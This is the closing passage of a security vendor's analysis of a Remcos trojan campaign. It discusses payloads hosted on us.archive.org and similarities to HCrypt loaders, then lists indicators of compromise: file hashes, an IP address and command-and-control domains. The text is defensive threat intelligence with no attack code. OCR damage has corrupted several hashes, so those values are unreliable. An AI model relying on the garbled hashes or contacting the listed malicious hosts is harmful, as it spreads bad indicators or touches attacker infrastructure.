
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36 21 Jun 21

One identifying factor from this campaign is the use of us.archive.org to host payloads. Although this is not unique to
malware campaigns in general, it is unique to the Remcos campaigns we have analyzed — only the VBS method of

distribution has been observed to display this behavior.

In an analysis from Morphisec in March of this year, an HCrypt loader sample was analyzed that demonstrated a similar
infection chain to the Remcos samples discussed above. Although the stages and scripts are not identical, the intermediary
steps share a few similarities, such as the file names of the downloaded scripts ALL.txt, Server.txt, and in newer samples,
Bypass.txt. The scripts also have a few function names in common, but the HCrypt samples have anti-analysis and anti-virus
evasion functionality not seen in the Remcos samples. Further research is required to determine whether this set of scripts is

a generically available package, or specific to a particular actor and being re-used across campaigns.

Although the actor or group behind this campaign is not known, the sporadic nature of the emails distributing this malware
suggests that it could be targeted in nature. Remcos is a mature trojan that has evolved over many years; though the basic
capabilities have remained the same, the methodologies of distribution and installation continue to change. Because it is
software that can be purchased openly online, it is difficult to trace or attribute usage to a particular actor. However, given
the consistency of network infrastructure and installation methodology, it is possible that the motivation or actors behind
these attacks could be identified. Malwarebytes analysts continue to monitor and track this threat and will update detections

and indicators as needed.

Protection

Malwarebytes protects users from Remcos by using real-time protection.
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@ Ma

It is no longer a threat to your computer

ware automatically quarantined

Type:  Malware
Name: Trojan.MalPack.DLF
Path: ..\Tax Returns Assessment Forms to be signe...

References

https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly

https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers

https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service

I0Cs
Analyzed Samples:
Type Name / Subject SHA256
Email Fwd: Appraisal Report for your
673b315a95b8c816502ec0dc3cae79cf14e0d7c09139¢2fc4b9202fbC
Subject Loan Application-1100788392210
Attachment = Appraisalreportl1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a
Extracted
S | Appraisal..vbs 1f8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd:
ample
Remcos VB Scripts:

92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842c335259f6560
ba4b51ae64c68b32d126322b51b41dce7¢300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55¢3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446¢7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffa4e946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
d2d9b66c9aad0e6ec20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e810
b61f6b794f38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4f4f4b980e471c5{8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6
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Related Remcos Samples:

Other I0Cs:

15cf9dafSbad1a5a78783f675eb63850e216a690e0f3302738ce3bd825babfcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963fae4c110ecbd12f1f39celef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13c79fd210290e7{82cefce14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135¢1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
e06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fele
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

185.19.85.168
1a601401.us.archive.org
1a601502.us.archive.org
1a601405.us.archive.org
ia601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org
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